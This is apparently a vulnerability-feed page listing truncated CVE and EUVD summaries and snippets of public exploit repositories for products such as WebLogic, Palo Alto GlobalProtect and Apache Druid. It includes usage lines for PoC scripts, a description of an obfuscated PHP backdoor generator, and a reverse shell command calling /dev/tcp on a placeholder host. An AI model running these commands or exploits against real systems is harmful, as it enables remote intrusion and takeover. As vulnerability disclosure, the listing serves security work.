CVE-2026-116118

A vulnerability exists in Z.ai Zcode versions up to 3.14.3/3.15.1 within the Sed Command Filter component. Improper neutralization of special elements allows for OS command injection , which can be triggered remotely. Public exploits for this vulnerability have been disclosed and may be used. No ...

CRM Platform Authentication Bypass

The vulnerability of the platform for creating individual web applications in CRM systems is related to deficiencies in authentication procedures. Exploiting this vulnerability could allow attackers, operating remotely, to circumvent existing security mechanisms and gain unauthorized access to...

Webasyst Shop-Script CMS SQL Injection

The vulnerability of the Webasyst framework for designing content management systems and the Shop-Script CMS system lies in the lack of protective measures for the SQL query structure. Exploiting this vulnerability allows an attacker operating remotely to execute arbitrary SQL code...

Webasyst Shop-Script CMS SQL Injection

The vulnerability of the Webasyst framework for designing content management systems and the Shop-Script CMS system lies in the lack of protective measures for the SQL query structure. Exploiting this vulnerability allows an attacker operating remotely to execute arbitrary SQL code...

OpenSky Flight Planning Unrestricted File Execution

The vulnerability of the OpenSky flight planning and operational management system lies in its ability to load files of a dangerous type without limitation. Exploiting this vulnerability could allow a malicious actor, operating remotely, to execute arbitrary code...

OpenSky Flight Planning Unrestricted File Execution

The vulnerability of the OpenSky flight planning and operational management system lies in its ability to load files of a dangerous type without limitation. Exploiting this vulnerability could allow a malicious actor, operating remotely, to execute arbitrary code...

EUVD-2026-109579

A vulnerability was detected in SteelRaven7 Ravenfield 25407073. This vulnerability affects the function cacheCoverPoints of the component RFL Custom Map Handler/RFLD Custom Map Handler. Performing a manipulation results in deserialization. Remote exploitation of the attack is possible. The patch...

CVE-2026-116098

A vulnerability exists in SteelRaven7 Ravenfield 25407073 within the RFL Custom Map Handler/RFLD Custom Map Handler component. Specifically, the cacheCoverPoints function is susceptible to deserialization via manipulation of input data. This flaw allows for remote exploitation of the attack. To r...

Remot3d

Remot3d - An Easy Way To Exploiting Will be updated soon Remot3d - A tool made to generate backdoor to control and exploit a server where the server runs the PHP Hypertext Preprocessor program. Equipped with a backdoor that has been obsfucated, which means that it shoudl generally be FUD Fully...

CVE-2023-21837

CVE-2023-21837 POC,EXP, chatGPT for me code import socket CVE-2023-21837 def checkvulnerabilitytargethost, targetport: create socket object s = socket.socketsocket.AFINET, socket.SOCKSTREAM set timeout to 30 seconds s.settimeout30 try: connect to target s.connecttargethost, targetport send exploi...

EUVD-2026-109566

A weakness has been identified in DedeCMS up to 5.7.118. Impacted is the function requireonce of the file dede/updateguide.php. This manipulation of the argument vtime causes code injection. Remote exploitation of the attack is possible. The exploit has been made available to the public and could...

CVE-2023-35078-Exploit-POC

CVE-2023-35078 Exploit POC CVE-2023-35078 Remote Unauthenticated API Access vulnerability has been discovered in Ivanti Endpoint Manager Mobile EPMM, formerly known as MobileIron Core. This vulnerability impacts all supported versions – Version 11.4 releases 11.10, 11.9 and 11.8. Older...

CVE-2022-31793

CVE-2022-31793 -u specify IP -l specify IP file -v verify mode -f specify file to read python poc.py -u ip -v python poc.py -l url.txt -v python poc.py -u ip -f /etc/hosts python poc.py -l url.txt -f /etc/hosts...

CVE-2024-21006

CVE-2024-21006 CVE-2024-21006 Description Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core. Supported versions that are affected are 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto File Write Exploit This exploit search over Global Protect URLS instances & try to write-file using CVE-2024-3400 Use with Caution Made with educational Purpouses only Usage: chmod +x gp-exploit.sh ./gp-exploit.sh filenametowrite urls.txt Shodan Search & Url'...

CVE-2024-38063-

CVE-2024-38063- Remotely Exploiting The Kernel Via IPv6 CVE-2024-38063 - Remotely Exploiting The Kernel Via IPv6 Marcus Hutchins Since the latest Windows patch dropped on the 13th of August I’ve been deep in the weeds of tcpip.sys the kernel driver responsible for handling TCP/IP packets. A...

CVE-2022-39802

3242933 – CVE-2022-39802 File path traversal vulnerability in SAP Manufacturing Execution General information Risk: CRITICAL Versions Affected: SAP MFG EXECUTION CORE 15.1 SAP MFG EXECUTION CORE 15.2 SAP MFG EXECUTION CORE 15.3 Vendor URL: https://sap.com Bug: File path traversal vulnerability...

CVE-2025-3248-POC

CVE-2025-3248-POC POC of CVE-2025-3248 execute any command on target machine usage: python poc.py 'http://xxx.com' 'ls /' leave some love on victims' computers poc.py...

ALLMediaServer-1.6-Buffer-Overflow

CVE-2022-28381 ALLMediaServer 1.6 Remote - Buffer Overflow SEH ALLMediaServer-1.6-Buffer-OverflowMetasploit Proof and Exploit References https://nvd.nist.gov/vuln/detail/CVE-2022-28381 https://vulners.com/cve/CVE-2022-28381 https://vulners.com/cve/CVE-2022-28381...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Reverse shell as follows: Write reverse shell script python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Grant execution permission to the shell script python3 CVE-2021-25646.py -u...